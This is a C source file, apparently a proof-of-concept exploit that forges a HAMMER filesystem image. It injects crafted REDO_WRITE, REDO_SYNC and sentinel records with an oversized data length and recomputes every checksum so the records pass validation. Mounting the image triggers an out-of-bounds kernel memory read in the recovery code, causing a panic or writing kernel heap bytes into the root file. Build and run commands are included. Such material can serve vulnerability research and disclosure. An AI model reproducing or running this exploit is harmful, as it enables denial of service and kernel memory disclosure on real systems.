/*
 * DF-2594 image forger (raw-byte version, CRC-safe).
 *
 * Takes a clean newfs_hammer image and injects a malicious UNDO/REDO FIFO
 * state that triggers Stage2 REDO recovery with an inflated redo_data_bytes,
 * exercising the unvalidated-length vn_rdwr read in hammer_recover_redo_exec
 * (sys/vfs/hammer/hammer_recover.c:1332).
 *
 * Injected layout at the START of the UNDO zone (zone 3):
 *
 *   [ext_offset .. first_offset)  REDO_WRITE  seqno=S    flags=WRITE
 *                                                   redo_data_bytes = HUGE
 *                                                   redo_objid = 1 (root inode)
 *   [first_offset .. last_offset] REDO_SYNC   seqno=S+1  flags=SYNC
 *                                                   redo_offset = ext_offset
 *
 * Stage1 backward-scan finds REDO_SYNC -> REDO_RECOVERY_REQ +
 * recover_stage2_offset = ext_offset.  Stage2 forward-scan finds the
 * REDO_WRITE (unfiltered) -> hammer_recover_redo_exec ->
 * vn_rdwr(UIO_WRITE, root_vp, redo+1, HUGE, ...) -> OOB kernel-memory read
 * -> page fault / panic (or kernel-heap bytes written to root file).
 *
 * CRC uses the kernel's own icrc32.c (linked).  All field edits are done at
 * verified raw byte offsets (see check_offsets) so the on-disk struct layout
 * is matched exactly regardless of compiler padding.
 *
 * Build:  cc -I/usr/src/sys -o forge forge.c icrc32.c
 * Run:    ./forge <image-or-device>     (as root on the guest)
 */
#include <sys/types.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>

typedef uint32_t hammer_crc_t;
typedef uint64_t hammer_off_t;

#define HAMMER_BUFSIZE          16384
#define HAMMER_BUFMASK64        ((uint64_t)(HAMMER_BUFSIZE - 1))
#define HAMMER_BIGBLOCK_SIZE    (8192 * 1024)
#define HAMMER_BIGBLOCK_MASK64  ((uint64_t)(HAMMER_BIGBLOCK_SIZE - 1))

#define HAMMER_OFF_SHORT_MASK   0x000FFFFFFFFFFFFFULL
#define HAMMER_OFF_ZONE_MASK    0xF000000000000000ULL

#define HAMMER_ZONE_UNDO_INDEX  3
#define HAMMER_HEAD_ALIGN_MASK  7
#define HAMMER_HEAD_DOALIGN(b)  (((b) + HAMMER_HEAD_ALIGN_MASK) & ~HAMMER_HEAD_ALIGN_MASK)

#define HAMMER_HEAD_SIGNATURE   0xC84EU
#define HAMMER_TAIL_SIGNATURE   0xC74FU
#define HAMMER_HEAD_TYPE_REDO   0x0044U
#define HAMMER_REDO_WRITE       0x00000001u
#define HAMMER_REDO_SYNC        0x00000010u

#define HAMMER_VOL_VERSION_SEVEN 7
#define HAMMER_VOL_VERSION_SIX   6
#define HAMMER_FSBUF_VOLUME     0xC8414D4DC5523031ULL

/* zone encode for zone 3, vol 0 */
#define Z3(off) (((hammer_off_t)HAMMER_ZONE_UNDO_INDEX << 60) | ((off) & ~HAMMER_OFF_ZONE_MASK))

/* ---- verified raw byte offsets within volume header (from check_offsets) ---- */
#define OFF_VOL_CRC        156
#define OFF_VOL_VERSION    152   /* vol_crc@156, vol_version uint32 precedes it */
#define OFF_VOL_BUF_BEG    24    /* vol_bot_beg(8)@16 vol_mem_beg@... see below */
#define OFF_BLOCKMAP_BASE  264
#define BLOCKMAP_SZ        40
#define UNDO_BM_OFF        (OFF_BLOCKMAP_BASE + HAMMER_ZONE_UNDO_INDEX * BLOCKMAP_SZ)  /* 264+120=384 */
#define BM_FIRST_OFF       (UNDO_BM_OFF + 8)
#define BM_NEXT_OFF        (UNDO_BM_OFF + 16)
#define BM_ALLOC_OFF       (UNDO_BM_OFF + 24)
#define BM_ENTRYCRC_OFF    (UNDO_BM_OFF + 36)
#define OFF_UNDO_ARRAY     904

/* ---- link kernel CRC (userspace-buildable) ---- */
#include "crc32.c"
#include "icrc32.c"

static hammer_crc_t
datacrc(uint32_t ver, const void *buf, size_t size)
{
    if (ver >= HAMMER_VOL_VERSION_SEVEN) return iscsi_crc32(buf, size);
    return crc32(buf, size);
}

static int imgfd;
static void xrdwr(off_t off, void *buf, size_t len, int wr)
{
    if (wr) { if (pwrite(imgfd, buf, len, off) != (ssize_t)len) { perror("pwrite"); exit(1);} }
    else    { if (pread(imgfd, buf, len, off) != (ssize_t)len) { perror("pread"); exit(1);} }
}
static uint16_t rd16(const unsigned char *p){ return p[0] | (p[1]<<8); }
static uint32_t rd32(const unsigned char *p){ return p[0] | (p[1]<<8) | (p[2]<<16) | ((uint32_t)p[3]<<24); }
static uint64_t rd64(const unsigned char *p){ uint64_t v=0; int i; for(i=0;i<8;i++) v |= (uint64_t)p[i]<<(8*i); return v; }
static void wr16(unsigned char *p, uint16_t v){ p[0]=v; p[1]=v>>8; }
static void wr32(unsigned char *p, uint32_t v){ p[0]=v; p[1]=v>>8; p[2]=v>>16; p[3]=v>>24; }
static void wr64(unsigned char *p, uint64_t v){ int i; for(i=0;i<8;i++) p[i]=(v>>(8*i))&0xff; }

int main(int argc, char **argv)
{
    uint32_t forged_bytes = 0x7FFFF000u;
    int64_t  forged_objid = 1;
    if (argc < 2 || argc > 4) { fprintf(stderr, "usage: %s <image> [redo_data_bytes_hex] [redo_objid]\n", argv[0]); return 2; }
    if (argc >= 3) forged_bytes = (uint32_t)strtoull(argv[2], NULL, 0);
    if (argc >= 4) forged_objid = (int64_t)strtoll(argv[3], NULL, 0);
    imgfd = open(argv[1], O_RDWR);
    if (imgfd < 0) { perror("open"); return 1; }
    printf("using redo_data_bytes = 0x%x  redo_objid = %lld (0x%llx)\n",
           forged_bytes, (long long)forged_objid, (unsigned long long)forged_objid);

    unsigned char vh[2048];
    xrdwr(0, vh, sizeof(vh), 0);
    uint64_t sig = rd64(vh);
    uint32_t ver = rd32(vh + OFF_VOL_VERSION);
    int64_t buf_beg = (int64_t)rd64(vh + 24);   /* vol_buf_beg at offset 24 */
    printf("vol_signature=%016llx (expect %016llx)  version=%u  vol_buf_beg=%lld\n",
           (unsigned long long)sig, (unsigned long long)HAMMER_FSBUF_VOLUME, ver, (long long)buf_beg);
    if (sig != HAMMER_FSBUF_VOLUME) { fprintf(stderr,"not HAMMER\n"); return 1; }

    uint64_t first0 = rd64(vh + BM_FIRST_OFF);
    uint64_t next0  = rd64(vh + BM_NEXT_OFF);
    uint64_t alloc0 = rd64(vh + BM_ALLOC_OFF);
    uint64_t ua0    = rd64(vh + OFF_UNDO_ARRAY);
    printf("UNDO bm: first=%016llx next=%016llx alloc=%016llx\n",
           (unsigned long long)first0,(unsigned long long)next0,(unsigned long long)alloc0);
    printf("undo_array[0]=%016llx\n", (unsigned long long)ua0);

    /* physical base of first undo bigblock */
    int idx = (int)((Z3(0) & HAMMER_OFF_SHORT_MASK) / HAMMER_BIGBLOCK_SIZE); /* 0 */
    off_t phys_bb = buf_beg + (off_t)(ua0 & HAMMER_OFF_SHORT_MASK);
    printf("undo phys bigblock base=%lld idx=%d\n", (long long)phys_bb, idx);

    /* record size: REDO(56) + tail(8) = 64, aligned */
    int rsz = (int)HAMMER_HEAD_DOALIGN(56 + 8);  /* 64 */
    printf("record size=%d\n", rsz);

    uint64_t ext_offset   = Z3(0);
    uint64_t first_offset = Z3((uint64_t)rsz);
    uint64_t last_offset  = Z3((uint64_t)(2*rsz));
    uint32_t S = 0x00001000u;

    /* build REDO_WRITE record at phys_bb+0 */
    unsigned char rec[256]; memset(rec, 0, sizeof(rec));
    /* head */
    wr16(rec+0, HAMMER_HEAD_SIGNATURE);
    wr16(rec+2, HAMMER_HEAD_TYPE_REDO);
    wr32(rec+4, (uint32_t)rsz);
    wr32(rec+8, S);
    wr32(rec+12, 0); /* crc, fill later */
    /* redo fields at offset 16: objid(8) offset(8) data_bytes(4) flags(4) loc(4) rsv01(4) rsv02(8) */
    wr64(rec+16, (uint64_t)forged_objid);  /* redo_objid = target inode */
    wr64(rec+24, 0ull);                 /* redo_offset = file offset 0 */
    wr32(rec+32, forged_bytes);          /* redo_data_bytes HUGE */
    wr32(rec+36, HAMMER_REDO_WRITE);    /* redo_flags */
    wr32(rec+40, 0);                    /* localization */
    wr32(rec+44, 0); wr64(rec+48, 0);   /* reserved */
    /* tail at rec+rsz-8 */
    wr16(rec+rsz-8+0, HAMMER_TAIL_SIGNATURE);
    wr16(rec+rsz-8+2, HAMMER_HEAD_TYPE_REDO);
    wr32(rec+rsz-8+4, (uint32_t)rsz);
    /* fifo head crc: datacrc(head,16) ^ datacrc(head+16, rsz-16) */
    {
        hammer_crc_t a = datacrc(ver, rec, 12);
        hammer_crc_t b = datacrc(ver, rec+16, rsz-16);
        wr32(rec+12, a ^ b);
    }
    xrdwr(phys_bb + 0, rec, rsz, 1);

    /* build REDO_SYNC record at phys_bb+rsz */
    memset(rec, 0, sizeof(rec));
    wr16(rec+0, HAMMER_HEAD_SIGNATURE);
    wr16(rec+2, HAMMER_HEAD_TYPE_REDO);
    wr32(rec+4, (uint32_t)rsz);
    wr32(rec+8, S+1);
    wr32(rec+12, 0);
    wr64(rec+16, 0ull);                 /* objid unused */
    wr64(rec+24, ext_offset);           /* redo_offset = ext_offset (Stage2 start) */
    wr32(rec+32, 0);                    /* data_bytes unused */
    wr32(rec+36, HAMMER_REDO_SYNC);     /* flags */
    wr32(rec+40, 0); wr32(rec+44, 0); wr64(rec+48, 0);
    wr16(rec+rsz-8+0, HAMMER_TAIL_SIGNATURE);
    wr16(rec+rsz-8+2, HAMMER_HEAD_TYPE_REDO);
    wr32(rec+rsz-8+4, (uint32_t)rsz);
    {
        hammer_crc_t a = datacrc(ver, rec, 12);
        hammer_crc_t b = datacrc(ver, rec+16, rsz-16);
        wr32(rec+12, a ^ b);
    }
    xrdwr(phys_bb + rsz, rec, rsz, 1);
    printf("injected REDO_WRITE @phys %lld (z3 %016llx) data_bytes=0x%x\n",
           (long long)phys_bb, (unsigned long long)ext_offset, forged_bytes);
    printf("injected REDO_SYNC  @phys %lld (z3 %016llx) redo_offset=%016llx\n",
           (long long)(phys_bb+rsz), (unsigned long long)first_offset,
           (unsigned long long)ext_offset);

    /* build sentinel record at phys_bb+2*rsz: a valid non-PAD record with a
     * deliberately mismatched seqno so Stage1's forward seqno scan terminates
     * via the discontinuity branch (instead of erroring on zeros). */
    memset(rec, 0, sizeof(rec));
    wr16(rec+0, HAMMER_HEAD_SIGNATURE);
    wr16(rec+2, 0x0041U);               /* HAMMER_HEAD_TYPE_DUMMY */
    wr32(rec+4, (uint32_t)rsz);
    wr32(rec+8, 0x99990000u);           /* seqno != 0x1002 -> discontinuity */
    wr32(rec+12, 0);
    wr16(rec+rsz-8+0, HAMMER_TAIL_SIGNATURE);
    wr16(rec+rsz-8+2, 0x0041U);
    wr32(rec+rsz-8+4, (uint32_t)rsz);
    {
        hammer_crc_t a = datacrc(ver, rec, 12);
        hammer_crc_t b = datacrc(ver, rec+16, rsz-16);
        wr32(rec+12, a ^ b);
    }
    xrdwr(phys_bb + 2*rsz, rec, rsz, 1);
    printf("injected SENTINEL  @phys %lld (z3 %016llx) seqno=0x99990000\n",
           (long long)(phys_bb+2*rsz), (unsigned long long)last_offset);

    /* patch UNDO blockmap first/next in the vh buffer */
    wr64(vh + BM_FIRST_OFF, first_offset);
    wr64(vh + BM_NEXT_OFF,  last_offset);
    /* recompute blockmap entry_crc over [UNDO_BM_OFF, UNDO_BM_OFF+36) */
    wr32(vh + BM_ENTRYCRC_OFF,
         datacrc(ver, vh + UNDO_BM_OFF, 36));

    /* recompute volume header vol_crc:
     * vol_crc = datacrc([0,156)) ^ datacrc([160, 1928))
     * CRCSIZE2 = 1928 - 156 - 4 = 1768 => region [160, 1928) */
    wr32(vh + OFF_VOL_CRC,
         datacrc(ver, vh, 156) ^ datacrc(ver, vh + 160, 1768));

    xrdwr(0, vh, sizeof(vh), 1);
    printf("patched bm first=%016llx next=%016llx entry_crc recomputed; vol_crc recomputed\n",
           (unsigned long long)first_offset, (unsigned long long)last_offset);
    printf("FORGE DONE\n");
    return 0;
}
